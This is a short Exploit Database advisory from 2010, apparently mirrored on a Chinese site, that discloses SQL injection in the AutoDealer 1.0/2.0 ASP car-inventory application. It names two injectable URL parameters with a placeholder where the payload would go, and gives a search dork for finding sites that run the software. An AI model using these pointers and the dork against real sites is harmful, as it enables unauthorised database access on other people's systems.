AutoDealer 1.0/2.0 – MSSQL Injection

• Exploit Database
• 14 阅读

• 作者： Sid3^effects
  日期： 2010-04-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12462/

• # vendor :http://www.aspsiteware.com/Auto.asp
  # Date: 30 apr,2010
  # Dork:Copyright © 2010 ASP SiteWare. All rights reserved.
  --------------------------------------------------------------------------------------
  #####################Sid3^effects aKa HaRi##################################
  #Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
  #Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
  #ShouTZ:kedar,dec0d3r,41.w4r10r 
  #Catch us at www.andhrahackers.com or www.teamicw.in
  ############################################################################
   
  Description :
  AutoDealer is an application ideal for the small or independent new or used car dealer who needs a way
  
  to display and update their inventory online. Backend by Access database, AutoDealercan store
  
  thousands of vehicles in categories with images.
  
  ############################################################################
  
  Xploit : MSSQLi Vulnerability
  
   
   Ver.1
   http://server/Auto1/type.asp?iType=[ur injection code]
   
   Ver.2
   http://server/auto2/auto2/detail.asp?iPro=[ur injection code]
  
  ############################################################################
  
  
  #Sid3^effects